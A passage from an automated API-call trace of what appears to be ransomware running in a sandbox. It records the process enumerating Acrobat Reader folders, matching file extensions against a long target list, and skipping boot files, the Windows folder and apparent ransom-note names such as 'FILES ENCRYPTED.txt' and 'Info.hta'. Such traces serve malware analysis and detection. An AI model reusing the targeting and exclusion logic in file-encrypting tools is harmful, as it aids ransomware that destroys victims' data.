-1 [0266.807] lstrlenW (lpString=".crt") returned 4 [0266.807] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0266.807] lstrlenW (lpString=".crw") returned 4 [0266.807] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0266.807] lstrlenW (lpString=".cs") returned 3 [0266.808] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0266.808] lstrlenW (lpString=".css") returned 4 [0266.808] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0266.808] lstrlenW (lpString=".csv") returned 4 [0266.808] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0266.808] lstrlenW (lpString=".cub") returned 4 [0266.808] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0266.808] lstrlenW (lpString=".dae") returned 4 [0266.808] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0266.808] lstrlenW (lpString=".dat") returned 4 [0266.808] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0266.808] lstrlenW (lpString=".db") returned 3 [0266.808] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0266.808] lstrlenW (lpString=".dbf") returned 4 [0266.808] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0266.808] lstrlenW (lpString=".dbx") returned 4 [0266.808] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0266.808] lstrlenW (lpString=".dc3") returned 4 [0266.808] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0266.808] lstrlenW (lpString=".dcm") returned 4 [0266.808] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0266.808] lstrlenW (lpString=".dcr") returned 4 [0266.808] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0266.809] lstrlenW (lpString=".der") returned 4 [0266.809] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0266.809] lstrlenW (lpString=".dib") returned 4 [0266.809] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0266.809] lstrlenW (lpString=".dic") returned 4 [0266.809] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0266.809] lstrlenW (lpString=".dif") returned 4 [0266.809] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0266.809] lstrlenW (lpString=".divx") returned 5 [0266.809] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0266.809] lstrlenW (lpString=".djvu") returned 5 [0266.809] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0266.809] lstrlenW (lpString=".dng") returned 4 [0266.809] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0266.810] lstrlenW (lpString=".doc") returned 4 [0266.810] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0266.810] lstrlenW (lpString=".docm") returned 5 [0266.810] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0266.810] lstrlenW (lpString=".docx") returned 5 [0266.810] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0266.810] lstrlenW (lpString=".dot") returned 4 [0266.810] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.810] lstrlenW (lpString=".dotm") returned 5 [0266.810] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.810] lstrlenW (lpString=".dotx") returned 5 [0266.810] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.810] lstrlenW (lpString=".dpx") returned 4 [0266.810] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.810] lstrlenW (lpString=".dqy") returned 4 [0266.810] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.810] lstrlenW (lpString=".dsn") returned 4 [0266.810] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.810] lstrlenW (lpString=".dt") returned 3 [0266.810] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.810] lstrlenW (lpString=".dtd") returned 4 [0266.810] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.810] lstrlenW (lpString=".dwg") returned 4 [0266.810] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.811] lstrlenW (lpString=".dwt") returned 4 [0266.811] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.811] lstrlenW (lpString=".dx") returned 3 [0266.811] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.811] lstrlenW (lpString=".dxf") returned 4 [0266.811] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.811] lstrlenW (lpString=".edml") returned 5 [0266.811] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.811] lstrlenW (lpString=".efd") returned 4 [0266.811] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.811] lstrlenW (lpString=".elf") returned 4 [0266.811] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.811] lstrlenW (lpString=".emf") returned 4 [0266.811] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.811] lstrlenW (lpString=".emz") returned 4 [0266.811] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.811] lstrlenW (lpString=".epf") returned 4 [0266.811] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.811] lstrlenW (lpString=".eps") returned 4 [0266.812] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.812] lstrlenW (lpString=".epsf") returned 5 [0266.812] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.812] lstrlenW (lpString=".epsp") returned 5 [0266.812] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.812] lstrlenW (lpString=".erf") returned 4 [0266.812] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.812] lstrlenW (lpString=".exr") returned 4 [0266.812] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.812] lstrlenW (lpString=".f4v") returned 4 [0266.812] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.812] lstrlenW (lpString=".fido") returned 5 [0266.812] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.812] lstrlenW (lpString=".flm") returned 4 [0266.812] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.812] lstrlenW (lpString=".flv") returned 4 [0266.812] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.812] lstrlenW (lpString=".frm") returned 4 [0266.812] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.812] lstrlenW (lpString=".fxg") returned 4 [0266.812] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.812] lstrlenW (lpString=".geo") returned 4 [0266.812] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.812] lstrlenW (lpString=".gif") returned 4 [0266.813] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.813] lstrlenW (lpString=".grs") returned 4 [0266.813] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.813] lstrlenW (lpString=".gz") returned 3 [0266.813] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.813] lstrlenW (lpString=".h") returned 2 [0266.813] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.813] lstrlenW (lpString=".hdr") returned 4 [0266.813] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.813] lstrlenW (lpString=".hpp") returned 4 [0266.813] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.813] lstrlenW (lpString=".hta") returned 4 [0266.813] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.813] lstrlenW (lpString=".htc") returned 4 [0266.813] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.813] lstrlenW (lpString=".htm") returned 4 [0266.813] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.813] lstrlenW (lpString=".html") returned 5 [0266.814] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.814] lstrlenW (lpString=".icb") returned 4 [0266.814] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.814] lstrlenW (lpString=".ics") returned 4 [0266.814] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.814] lstrlenW (lpString=".iff") returned 4 [0266.814] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.814] lstrlenW (lpString=".inc") returned 4 [0266.814] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.814] lstrlenW (lpString=".indd") returned 5 [0266.814] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.814] lstrlenW (lpString=".ini") returned 4 [0266.814] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.814] lstrlenW (lpString=".iqy") returned 4 [0266.814] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.814] lstrlenW (lpString=".j2c") returned 4 [0266.814] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.814] lstrlenW (lpString=".j2k") returned 4 [0266.814] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.814] lstrlenW (lpString=".java") returned 5 [0266.814] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.814] lstrlenW (lpString=".jp2") returned 4 [0266.814] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.815] lstrlenW (lpString=".jpc") returned 4 [0266.815] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.815] lstrlenW (lpString=".jpe") returned 4 [0266.815] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.815] lstrlenW (lpString=".jpeg") returned 5 [0266.815] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.815] lstrlenW (lpString=".jpf") returned 4 [0266.815] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.815] lstrlenW (lpString=".jpg") returned 4 [0266.815] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.815] lstrlenW (lpString=".jpx") returned 4 [0266.815] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.815] lstrlenW (lpString=".js") returned 3 [0266.815] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.815] lstrlenW (lpString="ui-strings.js") returned 13 [0266.815] lstrlenW (lpString=".love$") returned 6 [0266.815] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0266.815] lstrlenW (lpString="ui-strings.js") returned 13 [0266.815] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0266.815] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0266.815] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0266.815] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0266.816] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0266.816] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0266.816] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0266.816] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0266.816] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ja-jp\\ui-strings.js") returned 120 [0266.816] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x24b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.816] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0266.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0266.816] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0266.816] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr") returned 106 [0266.816] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr") returned 1 [0266.816] lstrlenW (lpString="ko-kr") returned 5 [0266.816] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ko-kr") returned -1 [0266.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0266.816] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr") returned 106 [0266.817] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ko-kr\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0266.817] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.817] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.817] lstrlenW (lpString="ui-strings.js") returned 13 [0266.817] lstrlenW (lpString=".1cd") returned 4 [0266.817] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.817] lstrlenW (lpString=".3ds") returned 4 [0266.817] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.817] lstrlenW (lpString=".3fr") returned 4 [0266.817] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.817] lstrlenW (lpString=".3g2") returned 4 [0266.817] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.817] lstrlenW (lpString=".3gp") returned 4 [0266.818] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.818] lstrlenW (lpString=".7z") returned 3 [0266.818] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.818] lstrlenW (lpString=".accda") returned 6 [0266.818] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.818] lstrlenW (lpString=".accdb") returned 6 [0266.818] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.818] lstrlenW (lpString=".accdc") returned 6 [0266.818] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.818] lstrlenW (lpString=".accde") returned 6 [0266.818] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.818] lstrlenW (lpString=".accdt") returned 6 [0266.818] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.818] lstrlenW (lpString=".accdw") returned 6 [0266.818] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.818] lstrlenW (lpString=".adb") returned 4 [0266.818] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0267.132] lstrlenW (lpString=".adp") returned 4 [0267.132] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0267.132] lstrlenW (lpString=".ai") returned 3 [0267.132] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.132] lstrlenW (lpString=".ai3") returned 4 [0267.132] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0267.132] lstrlenW (lpString=".ai4") returned 4 [0267.132] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0267.132] lstrlenW (lpString=".ai5") returned 4 [0267.132] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0267.132] lstrlenW (lpString=".ai6") returned 4 [0267.132] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0267.132] lstrlenW (lpString=".ai7") returned 4 [0267.132] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0267.132] lstrlenW (lpString=".ai8") returned 4 [0267.132] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0267.132] lstrlenW (lpString=".anim") returned 5 [0267.133] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0267.133] lstrlenW (lpString=".arw") returned 4 [0267.133] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0267.133] lstrlenW (lpString=".as") returned 3 [0267.133] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.133] lstrlenW (lpString=".asa") returned 4 [0267.133] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0267.133] lstrlenW (lpString=".asc") returned 4 [0267.133] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0267.133] lstrlenW (lpString=".ascx") returned 5 [0267.133] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0267.133] lstrlenW (lpString=".asm") returned 4 [0267.133] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0267.133] lstrlenW (lpString=".asmx") returned 5 [0267.133] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0267.133] lstrlenW (lpString=".asp") returned 4 [0267.133] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0267.133] lstrlenW (lpString=".aspx") returned 5 [0267.133] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0267.133] lstrlenW (lpString=".asr") returned 4 [0267.134] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0267.134] lstrlenW (lpString=".asx") returned 4 [0267.134] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0267.134] lstrlenW (lpString=".avi") returned 4 [0267.134] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0267.134] lstrlenW (lpString=".avs") returned 4 [0267.134] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0267.134] lstrlenW (lpString=".backup") returned 7 [0267.134] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0267.134] lstrlenW (lpString=".bak") returned 4 [0267.134] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0267.134] lstrlenW (lpString=".bay") returned 4 [0267.134] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0267.134] lstrlenW (lpString=".bd") returned 3 [0267.134] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.134] lstrlenW (lpString=".bin") returned 4 [0267.134] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0267.134] lstrlenW (lpString=".bmp") returned 4 [0267.134] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0267.134] lstrlenW (lpString=".bz2") returned 4 [0267.134] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0267.135] lstrlenW (lpString=".c") returned 2 [0267.135] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.135] lstrlenW (lpString=".cdr") returned 4 [0267.135] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0267.135] lstrlenW (lpString=".cer") returned 4 [0267.135] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0267.135] lstrlenW (lpString=".cf") returned 3 [0267.135] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.135] lstrlenW (lpString=".cfc") returned 4 [0267.135] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0267.135] lstrlenW (lpString=".cfm") returned 4 [0267.135] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0267.135] lstrlenW (lpString=".cfml") returned 5 [0267.135] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0267.135] lstrlenW (lpString=".cfu") returned 4 [0267.135] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0267.135] lstrlenW (lpString=".chm") returned 4 [0267.135] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0267.135] lstrlenW (lpString=".cin") returned 4 [0267.136] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0267.136] lstrlenW (lpString=".class") returned 6 [0267.136] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0267.136] lstrlenW (lpString=".clx") returned 4 [0267.136] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0267.136] lstrlenW (lpString=".config") returned 7 [0267.136] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0267.136] lstrlenW (lpString=".cpp") returned 4 [0267.136] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0267.136] lstrlenW (lpString=".cr2") returned 4 [0267.136] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0267.136] lstrlenW (lpString=".crt") returned 4 [0267.136] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0267.136] lstrlenW (lpString=".crw") returned 4 [0267.136] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0267.136] lstrlenW (lpString=".cs") returned 3 [0267.136] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.136] lstrlenW (lpString=".css") returned 4 [0267.136] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0267.136] lstrlenW (lpString=".csv") returned 4 [0267.136] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0267.136] lstrlenW (lpString=".cub") returned 4 [0267.137] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".dae") returned 4 [0267.137] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".dat") returned 4 [0267.137] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".db") returned 3 [0267.137] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.137] lstrlenW (lpString=".dbf") returned 4 [0267.137] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".dbx") returned 4 [0267.137] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".dc3") returned 4 [0267.137] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".dcm") returned 4 [0267.137] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".dcr") returned 4 [0267.137] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".der") returned 4 [0267.137] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".dib") returned 4 [0267.137] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".dic") returned 4 [0267.137] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0267.137] lstrlenW (lpString=".dif") returned 4 [0267.138] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0267.138] lstrlenW (lpString=".divx") returned 5 [0267.138] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0267.138] lstrlenW (lpString=".djvu") returned 5 [0267.138] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0267.138] lstrlenW (lpString=".dng") returned 4 [0267.138] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0267.138] lstrlenW (lpString=".doc") returned 4 [0267.138] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0267.138] lstrlenW (lpString=".docm") returned 5 [0267.138] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0267.138] lstrlenW (lpString=".docx") returned 5 [0267.138] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0267.138] lstrlenW (lpString=".dot") returned 4 [0267.138] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0267.138] lstrlenW (lpString=".dotm") returned 5 [0267.138] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0267.138] lstrlenW (lpString=".dotx") returned 5 [0267.138] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0267.138] lstrlenW (lpString=".dpx") returned 4 [0267.138] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0267.138] lstrlenW (lpString=".dqy") returned 4 [0267.138] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0267.139] lstrlenW (lpString=".dsn") returned 4 [0267.139] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0267.139] lstrlenW (lpString=".dt") returned 3 [0267.139] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.139] lstrlenW (lpString=".dtd") returned 4 [0267.139] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0267.139] lstrlenW (lpString=".dwg") returned 4 [0267.139] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0267.139] lstrlenW (lpString=".dwt") returned 4 [0267.139] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0267.139] lstrlenW (lpString=".dx") returned 3 [0267.139] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.139] lstrlenW (lpString=".dxf") returned 4 [0267.139] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0267.139] lstrlenW (lpString=".edml") returned 5 [0267.139] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0267.139] lstrlenW (lpString=".efd") returned 4 [0267.139] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0267.139] lstrlenW (lpString=".elf") returned 4 [0267.139] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0267.139] lstrlenW (lpString=".emf") returned 4 [0267.140] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0267.140] lstrlenW (lpString=".emz") returned 4 [0267.140] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0267.140] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.141] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0267.141] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0267.141] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: 